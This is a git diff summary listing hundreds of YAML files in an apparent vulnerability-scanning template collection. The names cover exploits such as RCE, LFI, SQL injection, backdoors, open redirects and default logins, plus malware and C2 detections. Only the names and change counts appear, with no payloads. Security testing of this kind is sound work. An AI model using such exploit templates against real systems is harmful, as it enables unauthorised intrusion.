poc/microsoft/grav-cms-detect-7844.yaml | 23 - poc/microsoft/jeewms-lfi-8255.yaml | 8 +- poc/microsoft/jeewms-lfi.yaml | 28 + .../kevinlab-bems-backdoor-8453.yaml | 17 +- .../kevinlab-bems-backdoor-8455.yaml | 12 +- poc/microsoft/kevinlab-bems-sqli-8457.yaml | 30 + poc/microsoft/kevinlab-bems-sqli-8459.yaml | 22 +- .../kevinlab-hems-backdoor-8467.yaml | 47 - poc/microsoft/kevinlab-hems-backdoor.yaml | 41 + poc/microsoft/kiwitcms-json-rpc.yaml | 9 +- poc/microsoft/kiwitcms-login-8496.yaml | 11 +- poc/microsoft/kiwitcms-login-8497.yaml | 22 - poc/microsoft/lotuscms-rce-8653.yaml | 22 +- poc/microsoft/maccmsv10-backdoor-8683.yaml | 25 + poc/microsoft/maccmsv10-backdoor-8685.yaml | 19 +- poc/microsoft/maccmsv10-backdoor-8686.yaml | 23 +- .../microsoft-exchange-panel-8848.yaml | 20 - .../microsoft-exchange-panel-8850.yaml | 21 + poc/microsoft/microsoft-exchange-panel.yaml | 3 +- ...microsoft-exchange-server-detect-8851.yaml | 32 + .../microsoft-exchange-server-detect.yaml | 11 +- .../microsoft-exchange-workflow-8855.yaml | 11 + .../microsoft-exchange-workflow.yaml | 11 - poc/microsoft/microsoft-ftp-service.yaml | 27 + poc/microsoft/monstracms-detect.yaml | 41 + poc/microsoft/msmq-detect.yaml | 35 + poc/microsoft/msmtp-config-8966.yaml | 12 +- poc/microsoft/msmtp-config-8967.yaml | 34 + poc/microsoft/myucms-lfr-8985.yaml | 11 +- poc/microsoft/myucms-lfr.yaml | 15 + poc/microsoft/netlify-cms.yaml | 19 +- ...orms-b0074d876c57e6b2b77d7378a0f7c12a.yaml | 59 + .../octobercms-default-login-9192.yaml | 59 - .../octobercms-default-login-9193.yaml | 53 + poc/microsoft/octobercms-default-login.yaml | 10 +- poc/microsoft/opennms-web-console-9285.yaml | 20 + poc/microsoft/opennms-web-console-9287.yaml | 21 - .../outsystems-servicecenter-panel.yaml | 39 + poc/microsoft/pandora-fms-console-9451.yaml | 20 + poc/microsoft/pandora-fms-console-9453.yaml | 21 - poc/microsoft/pandora-fms-console.yaml | 3 +- .../pbootcms-database-file-download-9469.yaml | 29 - .../pbootcms-database-file-download.yaml | 20 +- poc/microsoft/plone-cms-detect-9606.yaml | 2 +- poc/microsoft/plone-cms-detect.yaml | 23 - poc/microsoft/powercreator-cms-rce-9643.yaml | 19 +- poc/microsoft/powercreator-cms-rce-9646.yaml | 40 - poc/microsoft/rhymix-cms-detect-9877.yaml | 23 - poc/microsoft/rhymix-cms-detect-9878.yaml | 22 + poc/microsoft/rhymix-cms-detect-9879.yaml | 8 +- poc/microsoft/saferoads-vms-login-9970.yaml | 3 +- poc/microsoft/samsung-printer-detect.yaml | 22 +- .../samsung-wlan-ap-default-credentials.yaml | 3 - poc/microsoft/samsung-wlan-ap-lfi-10002.yaml | 8 +- poc/microsoft/samsung-wlan-ap-lfi-9999.yaml | 25 - poc/microsoft/samsung-wlan-ap-rce-10007.yaml | 11 +- poc/microsoft/samsung-wlan-ap-rce-10008.yaml | 22 - ...ce.yaml => samsung-wlan-ap-rce-10009.yaml} | 0 poc/microsoft/samsung-wlan-ap-xss-10012.yaml | 3 +- poc/microsoft/samsung-wlan-ap-xss.yaml | 25 - .../samsung-wlan-default-login-10017.yaml | 11 +- .../samsung-wlan-default-login-10018.yaml | 30 + poc/microsoft/seacms-rce-10100.yaml | 23 - poc/microsoft/seacms-rce-10101.yaml | 25 + poc/microsoft/seacms-rce-10102.yaml | 3 - .../seeddms-default-login-10127.yaml | 47 - poc/microsoft/seeddms-default-login.yaml | 39 + ...t-10129.yaml => seeddms-detect-10131.yaml} | 0 poc/microsoft/strapi-cms-detect-10538.yaml | 37 +- poc/microsoft/teamspeak3-detect.yaml | 28 + poc/microsoft/tikiwiki-cms-10773.yaml | 3 - poc/microsoft/tikiwiki-cms-10774.yaml | 23 + poc/microsoft/top-xss-params-10807.yaml | 75 + poc/microsoft/top-xss-params.yaml | 24 +- poc/microsoft/vpms-auth-bypass-11066.yaml | 33 + poc/microsoft/vpms-auth-bypass.yaml | 8 +- poc/microsoft/wems-manager-xss-11194.yaml | 7 +- poc/microsoft/wems-manager-xss.yaml | 25 + poc/microsoft/wondercms-detect-11223.yaml | 21 + poc/microsoft/wondercms-detect.yaml | 24 + poc/microsoft/wp-arforms-listing-11415.yaml | 22 - ...ing.yaml => wp-arforms-listing-11418.yaml} | 0 poc/microsoft/wp-plugin-lifterlms-11536.yaml | 22 - poc/microsoft/wp-plugin-lifterlms.yaml | 4 +- poc/microsoft/wp-super-forms-11587.yaml | 21 - poc/microsoft/wp-super-forms-11588.yaml | 14 +- poc/microsoft/wuzhicms-sqli-11659.yaml | 14 +- ...cms-sqli-11656.yaml => wuzhicms-sqli.yaml} | 0 poc/microsoft/xdcms-sqli-11664.yaml | 30 +- poc/microsoft/zcms-v3-sqli-11773.yaml | 19 +- poc/microsoft/zcms-v3-sqli.yaml | 21 + poc/microsoft/zms-auth-bypass-11832.yaml | 3 +- poc/mongodb/alibaba-mongoshake-unauth.yaml | 27 + poc/mongodb/mongodb-detect-8919.yaml | 3 +- poc/mongodb/mongodb-detect-8920.yaml | 20 + poc/mongodb/mongodb-detect.yaml | 33 + poc/mongodb/mongodb-info-enum.yaml | 42 + poc/mongodb/mongodb-ops-manager-8924.yaml | 23 + poc/mongodb/mongodb-ops-manager.yaml | 20 +- poc/mongodb/mongodb-unauth-8926.yaml | 29 - poc/mongodb/mongodb-unauth-8927.yaml | 6 +- poc/mongodb/mongodb-unauth.yaml | 31 + .../rockmongo-default-credentials.yaml | 5 + poc/mongodb/rockmongo-default-login-9899.yaml | 15 +- poc/mongodb/rockmongo-default-login-9900.yaml | 18 +- poc/mongodb/rockmongo-xss-9901.yaml | 27 +- poc/mongodb/rockmongo-xss-9902.yaml | 3 +- .../unauthenticated-mongo-express-10908.yaml | 8 +- poc/mysql/dionaea-mysql-honeypot-detect.yaml | 34 + poc/mysql/esafenet-mysql-fileread.yaml | 38 + ...l.yaml => exposed-mysql-initial-7322.yaml} | 0 poc/mysql/exposed-mysql-initial-7323.yaml | 17 +- poc/mysql/mysql-default-login.yaml | 52 + poc/mysql/mysql-detect.yaml | 32 + poc/mysql/mysql-info.yaml | 37 + poc/mysql/mysql-native-password-8980.yaml | 18 - poc/mysql/mysql-native-password.yaml | 21 +- poc/netlify/netlify-cms.yaml | 19 +- poc/netlify/netlify-takeover-9043.yaml | 25 - poc/netlify/netlify-takeover.yaml | 24 +- poc/nginx/default-nginx-page-6880.yaml | 5 +- poc/nginx/default-nginx-page-6881.yaml | 19 - .../git-config-nginxoffbyslash-7629.yaml | 28 + .../git-config-nginxoffbyslash-7630.yaml | 14 +- poc/nginx/nginx-config-9097.yaml | 4 - poc/nginx/nginx-config-9099.yaml | 29 + ...inx-config-9098.yaml => nginx-config.yaml} | 0 poc/nginx/nginx-linux-page-9103.yaml | 6 +- poc/nginx/nginx-linux-page.yaml | 17 - ...inx-merge-slashes-path-traversal-9105.yaml | 34 + .../nginx-merge-slashes-path-traversal.yaml | 28 - poc/nginx/nginx-module-vts-xss-9106.yaml | 49 +- poc/nginx/nginx-module-vts-xss-9109.yaml | 23 - poc/nginx/nginx-module-vts-xss-9110.yaml | 5 + poc/nginx/nginx-status-9115.yaml | 19 + ...inx-status-9117.yaml => nginx-status.yaml} | 0 poc/nginx/nginx-version-9121.yaml | 25 - poc/nginx/nginx-version-9122.yaml | 5 - poc/nginx/nginx-version-9123.yaml | 30 + .../nginx-vhost-traffic-status-9124.yaml | 13 +- poc/nodejs/api-npm-471.yaml | 15 +- poc/nodejs/express-lfr-post (copy 1).yaml | 35 - poc/nodejs/express-lfr-post.yaml | 4 +- poc/nodejs/node-express-dev-env.yaml | 47 + poc/nodejs/node-integration-enabled-9137.yaml | 7 +- poc/nodejs/npm-log-file.yaml | 19 +- ...nion-b3450b2b967c29b6f76b4d9998747491.yaml | 59 + .../puppet-node-manager-detect-9720.yaml | 27 - poc/nodejs/puppet-node-manager-detect.yaml | 20 + .../unauthenticated-mongo-express-10908.yaml | 8 +- .../age-gate-open-redirect-207.yaml | 36 - poc/open_redirect/age-gate-open-redirect.yaml | 29 + ...554.yaml => aspnuke-openredirect-556.yaml} | 0 poc/open_redirect/aspnuke-openredirect.yaml | 17 + .../attitude-theme-open-redirect-586.yaml | 23 +- ... => attitude-theme-open-redirect-588.yaml} | 0 poc/open_redirect/aws-redirect-651.yaml | 31 + poc/open_redirect/aws-redirect-652.yaml | 2 +- poc/open_redirect/bitrix-open-redirect.yaml | 47 +- .../brandfolder-open-redirect-779.yaml | 18 +- .../brandfolder-open-redirect-782.yaml | 22 +- .../caddy-open-redirect-837.yaml | 20 + .../dedecms-openredirect-6800.yaml | 36 + .../dedecms-openredirect-6802.yaml | 6 +- .../drupal-user-enum-redirect-7112.yaml | 14 +- .../drupal-user-enum-redirect-7114.yaml | 33 - .../drupal-user-enum-redirect-7115.yaml | 31 - .../eatery-restaurant-open-redirect-7158.yaml | 28 +- .../homeautomation-v3-openredirect-7982.yaml | 26 +- .../homeautomation-v3-openredirect-7984.yaml | 6 +- .../httpbin-open-redirect-8048.yaml | 14 +- .../httpbin-open-redirect-8049.yaml | 28 + poc/open_redirect/icewarp-open-redirect.yaml | 36 - poc/open_redirect/icewarp-openredirects.yaml | 25 +- .../music-store-open-redirect-8972.yaml | 20 +- .../music-store-open-redirect.yaml | 21 - ...newsletter-manager-open-redirect-9075.yaml | 4 +- .../newsletter-manager-open-redirect.yaml | 4 +- .../newsletter-open-redirect-9077.yaml | 15 +- .../newsletter-open-redirect.yaml | 22 - poc/open_redirect/open-redirect2.yaml | 607 + .../pieregister-open-redirect-9577.yaml | 20 +- ...ml => pieregister-open-redirect-9579.yaml} | 0 .../pieregister-plugin-open-redirect.yaml | 19 + poc/open_redirect/pollbot-redirect-9623.yaml | 27 + ...direct-9621.yaml => pollbot-redirect.yaml} | 0 poc/open_redirect/sap-redirect-10064.yaml | 29 + poc/open_redirect/sap-redirect-10066.yaml | 28 - poc/open_redirect/sap-redirect-10067.yaml | 6 +- .../thinkific-redirect-10734.yaml | 20 +- .../thinkific-redirect-10735.yaml | 20 +- .../ultimatemember-open-redirect-10877.yaml | 17 + .../ultimatemember-open-redirect-10879.yaml | 6 +- .../ultimatemember-open-redirect.yaml | 18 + ...ekender-newspaper-open-redirect-11186.yaml | 29 - ...ekender-newspaper-open-redirect-11188.yaml | 6 +- ...ess-redirection-plugin-listing-11306.yaml} | 0 ...ress-redirection-plugin-listing-11308.yaml | 14 +- .../wp-gtranslate-open-redirect-11463.yaml | 21 +- .../wp-gtranslate-open-redirect-11466.yaml | 20 +- ...l => wp-prostore-open-redirect-11546.yaml} | 0 .../wp-prostore-open-redirect-11549.yaml | 14 +- .../wp-prostore-open-redirect-11550.yaml | 20 - .../wp-security-open-redirect-11561.yaml | 33 + .../wp-security-open-redirect.yaml | 21 - .../wptouch-open-redirect-11595.yaml | 30 + .../wptouch-plugin-open-redirect.yaml | 13 +- poc/oracle/Oracle-OAM-XSS.yaml | 4 + .../default-oracle-application-page-6891.yaml | 16 + poc/oracle/metadata-oracle-8829.yaml | 36 - poc/oracle/metadata-oracle.yaml | 40 + poc/oracle/oracle-access-management.yaml | 46 + poc/oracle/oracle-business-control-9344.yaml | 19 - poc/oracle/oracle-business-control.yaml | 7 +- poc/oracle/oracle-dbass-detect-9351.yaml | 3 + poc/oracle/oracle-dbass-detect.yaml | 18 + ...oracle-ebs-bispgraph-file-access-9356.yaml | 11 +- poc/oracle/oracle-ebs-credentials-9365.yaml | 28 + poc/oracle/oracle-ebs-credentials-9366.yaml | 20 +- .../oracle-ebs-sqllog-disclosure-9369.yaml | 18 +- .../oracle-ebs-sqllog-disclosure-9370.yaml | 5 - .../oracle-ebs-sqllog-disclosure-9371.yaml | 30 + poc/oracle/oracle-ebs-xss-9373.yaml | 29 + poc/oracle/oracle-ebs-xss-9376.yaml | 33 - poc/oracle/oracle-ebs-xss-9377.yaml | 6 +- poc/oracle/oracle-ebusiness-panel.yaml | 38 + poc/oracle/oracle-httpserver12c.yaml | 9 +- .../oracle-integrated-manager-9389.yaml | 4 +- .../oracle-integrated-manager-9390.yaml | 8 +- .../oracle-iplanet-web-server-9393.yaml | 26 + ...92.yaml => oracle-iplanet-web-server.yaml} | 0 poc/oracle/oracle-oam-xss.yaml | 24 + poc/oracle/oracle-people-enterprise-9396.yaml | 26 - poc/oracle/oracle-people-enterprise.yaml | 12 +- poc/oracle/oracle-people-sign-in.yaml | 21 +- poc/oracle/oracle-peoplesoft-panel.yaml | 52 + poc/other/3cx-management-console-1.yaml | 43 + poc/other/3cx-management-console.yaml | 41 - poc/other/3g-wireless-gateway-5.yaml | 34 - poc/other/3g-wireless-gateway.yaml | 32 + poc/other/ATHD-DVR-fileRead.yaml | 4 +- poc/other/Alibaba-Anyproxy-fileRead.yaml | 5 +- poc/other/Application_level_dos.yaml | 14 +- poc/other/LayerSlider-plugin.yaml | 58 - poc/other/MobileIron.yaml | 3 - poc/other/WSO2-2019-0598.yaml | 24 - poc/other/Wireless-leakage.yaml | 6 +- poc/other/WooYun-2015-148227.yaml | 1 - poc/other/X-Remote-IP.yaml | 19 + poc/other/ZhongkeWangwei-fileRead.yaml | 10 +- poc/other/access-log.yaml | 11 +- poc/other/ackee-panel.yaml | 31 + poc/other/acm-cert-renewal-30days.yaml | 57 + poc/other/acm-cert-renewal-45days.yaml | 57 + poc/other/acm-cert-validation.yaml | 56 + poc/other/acm-wildcard-cert.yaml | 56 + poc/other/acrolinx-dashboard-36.yaml | 11 +- ...ard-37.yaml => acrolinx-dashboard-38.yaml} | 0 poc/other/activemq-panel-50.yaml | 4 +- poc/other/acunetix-panel-56.yaml | 23 + poc/other/adiscon-loganalyzer-68.yaml | 19 +- poc/other/adiscon-loganalyzer-70.yaml | 5 +- poc/other/adminset-panel-78.yaml | 13 +- poc/other/adminset-panel-79.yaml | 10 +- poc/other/advance-setup-119.yaml | 32 - poc/other/advance-setup-120.yaml | 22 + poc/other/advance-setup-122.yaml | 7 +- poc/other/advance-setup-123.yaml | 5 +- poc/other/akamai-cloudtest-250.yaml | 34 + ...est-254.yaml => akamai-cloudtest-253.yaml} | 0 poc/other/algonomia-panel.yaml | 29 + poc/other/alibaba-canal-info-leak-264.yaml | 26 +- poc/other/alibaba-canal-info-leak-266.yaml | 35 + poc/other/alienvault-usm-271.yaml | 31 - ...vault-usm.yaml => alienvault-usm-274.yaml} | 0 poc/other/ampps-admin-panel-304.yaml | 14 +- ...-panel.yaml => ampps-admin-panel-305.yaml} | 0 poc/other/ampps-dirlisting-307.yaml | 16 +- ...listing.yaml => ampps-dirlisting-308.yaml} | 0 poc/other/ampps-panel-310.yaml | 9 +- poc/other/ampps-panel-311.yaml | 12 +- poc/other/amprion-gridloss-panel.yaml | 33 + poc/other/antsword-backdoor-333.yaml | 35 - poc/other/antsword-backdoor-334.yaml | 17 +- poc/other/antsword-backdoor-335.yaml | 24 +- poc/other/arcgis-panel-530.yaml | 47 + poc/other/arcgis-panel-531.yaml | 44 - .../artifactory-anonymous-deploy-549.yaml | 30 - poc/other/artifactory-anonymous-deploy.yaml | 10 +- poc/other/asana.yaml | 15 +- poc/other/aspose-file-download.yaml | 27 - poc/other/aspose-ie-file-download-562.yaml | 8 +- ....yaml => aspose-ie-file-download-563.yaml} | 0 poc/other/aspose-pdf-file-download-566.yaml | 25 - poc/other/aspose-pdf-file-download-570.yaml | 20 +- poc/other/aspose-words-file-download-571.yaml | 14 +- poc/other/aspose-words-file-download-572.yaml | 37 - poc/other/aurora-copy-tags-snap.yaml | 56 + poc/other/aurora-delete-protect.yaml | 56 + poc/other/aviatrix-panel-608.yaml | 40 - poc/other/aviatrix-panel-609.yaml | 38 + ...ml => avtech-avn801-camera-panel-612.yaml} | 0 poc/other/avtech-avn801-camera-panel.yaml | 16 +- poc/other/axis-happyaxis-669.yaml | 9 +- poc/other/axis-happyaxis-670.yaml | 31 + poc/other/axis-happyaxis.yaml | 31 - poc/other/backdoored-zte.yaml | 39 + poc/other/balada-injector-malware.yaml | 33 + poc/other/barracuda-panel-684.yaml | 29 - poc/other/barracuda-panel-686.yaml | 4 +- poc/other/bash-scanner.yaml | 5 +- poc/other/basic-cors-692.yaml | 38 +- poc/other/basic-cors-694.yaml | 10 +- .../{basic-dns-example.yaml => basic.yaml} | 0 ...lite-475fbc1aca31aceb6f865c30665d01ea.yaml | 59 + poc/other/beanstalk-service.yaml | 37 + ...docs-232384040a6ffc92a66d8388c56c0ecc.yaml | 59 + poc/other/beyondtrust-panel-720.yaml | 21 + poc/other/beyondtrust-panel-721.yaml | 42 +- poc/other/beyondtrust-panel.yaml | 45 +- poc/other/beyondtrust-priv-panel.yaml | 31 + poc/other/bigip.yaml | 73 - poc/other/bingmaps.yaml | 4 + poc/other/bitrix-panel-746.yaml | 7 + poc/other/bitrix-panel-748.yaml | 32 - poc/other/bitrix-panel-750.yaml | 27 + ...menu-56e1af4c59d8c0005b23c72b9b239471.yaml | 59 + ...form-2273532906322a1e75c2bd0f6f3e3462.yaml | 59 + poc/other/buddypress-members-only.yaml | 59 + poc/other/buildkite.yaml | 15 +- poc/other/busybox-repository-browser.yaml | 34 + poc/other/cache-poisoning-822.yaml | 33 + poc/other/cacti-weathermap-file-write.yaml | 9 +- poc/other/calendly.yaml | 14 +- ...tton-6d3ab08ce97af09b7ea1501f5a68fe19.yaml | 59 + poc/other/cdn-cache-poisoning.yaml | 36 + poc/other/cerebro-panel.yaml | 13 +- poc/other/certificate-validation-882.yaml | 5 +- poc/other/certificate-validation-883.yaml | 16 - poc/other/certificate-validation-884.yaml | 12 + poc/other/cgi-printenv-885.yaml | 38 + poc/other/cgi-printenv.yaml | 29 - ...anel-895.yaml => checkmarx-panel-897.yaml} | 0 poc/other/checkpoint-firewall-enum.yaml | 38 + poc/other/checkpoint-panel-899.yaml | 29 - poc/other/checkpoint-panel.yaml | 18 +- poc/other/circarlife-setup-920.yaml | 15 +- poc/other/citrix-xenmobile-version.yaml | 52 + poc/other/clearpass-policy-manager-997.yaml | 23 + poc/other/clearpass-policy-manager-999.yaml | 3 +- ...-fox-3e5f6730354b274bae3825d55a3e807a.yaml | 59 + ...-fox-760fc00f8b1444124b62cac5e2485bd8.yaml | 59 + poc/other/clientaccesspolicy-1006.yaml | 48 +- poc/other/clientaccesspolicy-1007.yaml | 25 + poc/other/cloudinary-1025.yaml | 7 +- poc/other/cloudinary.yaml | 12 +- poc/other/cloudtrail-data-events.yaml | 56 + poc/other/cloudtrail-disabled.yaml | 56 + poc/other/cloudtrail-dup-logs.yaml | 56 + poc/other/cloudtrail-global-disabled.yaml | 56 + .../cloudtrail-integrated-cloudwatch.yaml | 56 + poc/other/cloudtrail-log-integrity.yaml | 56 + poc/other/cloudtrail-mfa-delete.yaml | 73 + poc/other/cloudtrail-mgmt-events.yaml | 57 + poc/other/cloudtrail-public-buckets.yaml | 56 + poc/other/cname-fingerprint-1030.yaml | 30 + ...rkflow-1129.yaml => cockpit-workflow.yaml} | 0 poc/other/codeigniter-env-1133.yaml | 38 - poc/other/codeigniter-env-1134.yaml | 31 + poc/other/cofense-vision-panel-1142.yaml | 20 + poc/other/cofense-vision-panel.yaml | 12 +- poc/other/cold-fusion-cfcache-map-1148.yaml | 25 - poc/other/cold-fusion-cfcache-map-1149.yaml | 53 +- ...lder-e42fa2a34264920250ef59d5ac69f0cc.yaml | 59 + poc/other/commons-booking.yaml | 59 + poc/other/compal-panel.yaml | 15 +- poc/other/compal.yaml | 16 - poc/other/concourse-ci-panel-1169.yaml | 24 + poc/other/concrete5-panel-1172.yaml | 33 - poc/other/concrete5-panel-1173.yaml | 32 + poc/other/concrete5-panel.yaml | 1 + .../{contacam.yaml => contacam-1197.yaml} | 0 poc/other/contacam-1198.yaml | 22 - ...eme-1205.yaml => content-scheme-1204.yaml} | 0 poc/other/content-scheme.yaml | 38 +- poc/other/corebos-htaccess.yaml | 35 + ...ndar-045a374dcc4037ebae609408d4fe7a62.yaml | 59 + poc/other/cql-native-transport.yaml | 39 + poc/other/crossdomain-xml-1267.yaml | 23 + poc/other/crossdomain-xml.yaml | 46 +- poc/other/csod-panel-1286.yaml | 20 - poc/other/csod-panel-1288.yaml | 22 - poc/other/cssable-countdown.yaml | 59 + poc/other/cucm-username-enumeration.yaml | 8 +- poc/other/custom-dash.yaml | 59 + poc/other/custom-solr-file-read.yaml | 58 +- poc/other/custom_nuclei-6.yaml | 70 +- poc/other/custom_nuclei-8.yaml | 48 + poc/other/cw-alarm-action-set.yaml | 56 + poc/other/cyberchef-panel.yaml | 37 + poc/other/d-link-arbitary-fileread.yaml | 40 +- poc/other/d-link-wireless-7047.yaml | 23 + poc/other/d-link-wireless-7048.yaml | 23 - poc/other/d-link-wireless.yaml | 19 +- poc/other/darkcomet-trojan.yaml | 31 + poc/other/darktrack-rat-trojan.yaml | 32 + poc/other/defectdojo-panel.yaml | 16 +- poc/other/deimos-c2-jarm.yaml | 26 + poc/other/deployment-ini.yaml | 45 + poc/other/deprecated-tls-6957.yaml | 12 +- poc/other/deprecated-tls-6959.yaml | 32 +- poc/other/development-logs-6989.yaml | 40 - poc/other/development-logs.yaml | 11 +- ...isting-7003.yaml => dir-listing-7006.yaml} | 0 poc/other/dir-listing-7008.yaml | 24 +- poc/other/directory-listing.yaml | 101 + ...39.yaml => dlink-850l-info-leak-7035.yaml} | 0 poc/other/dlink-file-read.yaml | 27 - poc/other/dom-invaider.yaml | 86 +- poc/other/domcfg-page-7076.yaml | 5 +- poc/other/domcfg-page-7077.yaml | 25 + poc/other/dop-shortcodes.yaml | 59 + poc/other/doris-dashboard.yaml | 32 + ...oard-decdf27e06d73ea0c2c681651a479037.yaml | 59 + poc/other/drone-ci-panel-7091.yaml | 27 - poc/other/drone-ci-panel.yaml | 19 +- poc/other/druid-monitor-7100.yaml | 3 - ...itor-7103.yaml => druid-monitor-7104.yaml} | 0 poc/other/ds-store-file.yaml | 36 + poc/other/ds_store-7119.yaml | 29 - poc/other/ds_store.yaml | 37 +- poc/other/dss-download-fileread-7116.yaml | 9 +- poc/other/dss-download-fileread.yaml | 20 + .../dynamic-broadcast-receiver-7140.yaml | 16 - .../dynamic-broadcast-receiver-7141.yaml | 30 +- ...gets-e1b0f6560fbae95c0c8c368c89e53632.yaml | 59 + poc/other/easy-media-gallery-pro-listing.yaml | 25 + poc/other/easycvr-info-leak.yaml | 47 + poc/other/easyvista-panel.yaml | 36 + poc/other/ecology-getshell.yaml | 6 +- poc/other/edd-recent-purchases.yaml | 59 + poc/other/emerson-power-panel-7216.yaml | 25 - poc/other/emerson-power-panel.yaml | 20 +- poc/other/entrust-identityguard.yaml | 23 +- poc/other/{Bitrix_check_env.yaml => env.yaml} | 0 poc/other/envision-gateway-7226.yaml | 22 +- poc/other/envision-gateway-7227.yaml | 10 +- ...xtra-bb86aa3ef5ea1f7e921c4bd240f603ab.yaml | 59 + poc/other/epson-wf-series-7244.yaml | 27 - poc/other/epson-wf-series.yaml | 23 + poc/other/error-logs-7251.yaml | 59 - poc/other/error-logs-7256.yaml | 4 + poc/other/eyelock-nano-lfd-7375.yaml | 10 +- poc/other/eyelock-nano-lfd-7377.yaml | 14 +- poc/other/f-secure-policy-manager-7563.yaml | 3 +- poc/other/f-secure-policy-manager-7564.yaml | 23 + poc/other/f5-next-central-manager.yaml | 36 + poc/other/fatpipe-ipvpn-panel-7436.yaml | 8 +- poc/other/file-scheme-7467.yaml | 1 + poc/other/file-scheme-7468.yaml | 16 - poc/other/filezilla-7471.yaml | 13 +- poc/other/firebase-urls-7498.yaml | 8 +- ...{firebase_urls.yaml => firebase-urls.yaml} | 0 poc/other/flightpath-panel-7507.yaml | 24 - poc/other/flightpath-panel-7508.yaml | 25 + poc/other/flightpath-panel.yaml | 1 - poc/other/fortimail-panel-7532.yaml | 26 + poc/other/fortimail-panel.yaml | 6 +- poc/other/fortinet-fortigate-panel-7535.yaml | 17 +- poc/other/fortisiem-panel.yaml | 35 + .../foulenzer-subdomain-tk (copy 1).yaml | 210 +- poc/other/foulenzer-subdomain-tk.yaml | 208 +- poc/other/frServer-listDir.yaml | 4 +- poc/other/gSOAP-LFl.yaml | 10 +- poc/other/ganglia-xml-grid-monitor-7573.yaml | 26 + poc/other/ganglia-xml-grid-monitor-7574.yaml | 30 + poc/other/getsimple-installation-7618.yaml | 35 - poc/other/getsimple-installation.yaml | 22 + ...nism-401983e3395b4d1d81fca660d75190d4.yaml | 59 + ...give-4024a5687a80d640de35c54faefaa3a6.yaml | 59 + poc/other/global-notification-bar.yaml | 59 + poc/other/globalprotect-panel-7720.yaml | 5 +- poc/other/globalprotect-panel-7721.yaml | 30 - poc/other/glpi-directory-listing-7734.yaml | 34 + poc/other/glpi-directory-listing.yaml | 30 - poc/other/glpidirectorylisting(1).yaml | 56 - poc/other/go-anywhere-client-7743.yaml | 21 - poc/other/go-anywhere-client-7745.yaml | 21 + poc/other/go-anywhere-client.yaml | 4 +- poc/other/gogs-workflow-7760.yaml | 11 - poc/other/gogs-workflow.yaml | 11 + poc/other/grafana-file-read-7811.yaml | 23 +- poc/other/grafana-file-read-7812.yaml | 6 + poc/other/grafana-workflow-7818.yaml | 11 - poc/other/grafana-workflow.yaml | 17 + poc/other/h2o-arbitary-file-read.yaml | 43 + poc/other/heatmiser-wifi-thermostat-7923.yaml | 20 +- poc/other/heatmiser-wifi-thermostat.yaml | 22 - poc/other/hikvision-info-leak-7958.yaml | 34 - poc/other/hikvision-info-leak.yaml | 21 + poc/other/hitron-technologies-7959.yaml | 24 + poc/other/hitron-technologies-7962.yaml | 24 - poc/other/hitron-technologies.yaml | 59 +- .../hjtcloud-arbitrary-file-read-7969.yaml | 8 +- ...=> hjtcloud-arbitrary-file-read-7971.yaml} | 0 ...jtcloud-rest-arbitrary-file-read-7976.yaml | 16 +- ...=> hjtcloud-rest-arbitrary-file-read.yaml} | 0 poc/other/home-assistant-7981.yaml | 16 - .../honeywell-building-control-7987.yaml | 8 +- poc/other/honeywell-building-control.yaml | 13 +- poc/other/hp-ilo-5-8020.yaml | 33 + poc/other/hp-ilo-5-8021.yaml | 32 - poc/other/hp-ilo-5.yaml | 16 +- poc/other/hp-service-manager-8032.yaml | 6 +- poc/other/hp-service-manager-8034.yaml | 24 + poc/other/hp-service-manager.yaml | 20 +- .../hpe-system-management-anonymous-8013.yaml | 21 + poc/other/ht-deployment.yaml | 44 + poc/other/hubspot.yaml | 21 +- poc/other/huijietong-cloud-fileread-8084.yaml | 18 +- poc/other/huijietong-cloud-fileread-8086.yaml | 28 + poc/other/iam-full-admin-privileges.yaml | 52 + poc/other/iam-mfa-enable.yaml | 49 + poc/other/identity-services-engine-8145.yaml | 4 +- ...nate-1ace5675b1d0e0c2c55b706529d8c6a1.yaml | 59 + poc/other/interlib-fileread-8170.yaml | 22 + poc/other/interlib-fileread-8174.yaml | 7 +- poc/other/interlib-fileread-8175.yaml | 17 +- poc/other/internet-service-8177.yaml | 3 +- poc/other/internet-service.yaml | 22 - poc/other/ioncube-loader-wizard-8184.yaml | 21 +- ...d-8185.yaml => ioncube-loader-wizard.yaml} | 0 poc/other/iptime-router.yaml | 21 +- poc/other/iterable.yaml | 22 +- poc/other/itop-panel-8204.yaml | 23 - poc/other/itop-panel-8205.yaml | 27 + poc/other/itop-panel.yaml | 16 +- poc/other/jamf-panel-8215.yaml | 6 +- poc/other/jamf-panel-8216.yaml | 28 + poc/other/jamf-panel.yaml | 28 +- poc/other/jitsi-meet-8342.yaml | 22 + poc/other/jitsi-meet.yaml | 18 +- poc/other/jmx-console-8349.yaml | 7 +- poc/other/jmx-console-8351.yaml | 16 - poc/other/jmx-console-8352.yaml | 15 + poc/other/jolokia-8367.yaml | 20 + poc/other/jolokia-8368.yaml | 3 +- poc/other/jolokia-list-8360.yaml | 28 + poc/other/jolokia-list-8361.yaml | 5 +- poc/other/jumpcloud.yaml | 19 +- poc/other/just-writing-statistics.yaml | 59 + poc/other/keo-klr300n-install.yaml | 39 + poc/other/kerio-connect-client-8450.yaml | 21 + poc/other/kerio-connect-client-8452.yaml | 21 - poc/other/kerio-connect-client.yaml | 2 +- poc/other/klr300n-installer.yaml | 36 - poc/other/kubelet-healthz-8518.yaml | 9 +- poc/other/kubelet-healthz-8519.yaml | 8 +- poc/other/kubelet-runningpods-8525.yaml | 80 +- poc/other/kyocera-printer-panel.yaml | 31 + poc/other/lancom-router-panel-8562.yaml | 18 - poc/other/lancom-router-panel-8564.yaml | 18 + poc/other/lancom-router-panel.yaml | 2 +- poc/other/landray-oa-fileread-8569.yaml | 10 +- ...ugin-d41d8cd98f00b204e9800998ecf8427e.yaml | 58 - poc/other/lazy-file-8608.yaml | 11 +- poc/other/leostream-panel-8610.yaml | 3 +- poc/other/liveview-axis-camera-8646.yaml | 39 +- poc/other/liveview-axis-camera-8647.yaml | 19 + ...ra-8648.yaml => liveview-axis-camera.yaml} | 0 poc/other/local-file-inclusion.yaml | 74 +- ...amad-7029e0a44d078c421cedc8f72aeff9cf.yaml | 59 + poc/other/lotus-domino-version-8654.yaml | 30 + poc/other/lotus-domino-version-8655.yaml | 32 - poc/other/lotus-domino-version.yaml | 2 + poc/other/lucee-stack-trace-8667.yaml | 26 + poc/other/mailchimp.yaml | 6 +- poc/other/manageengine-adaudit-8728.yaml | 9 +- poc/other/manageengine-adaudit-8729.yaml | 30 - poc/other/manageengine-adaudit-8730.yaml | 20 + .../manageengine-adselfservice-8737.yaml | 20 + .../manageengine-adselfservice-8738.yaml | 19 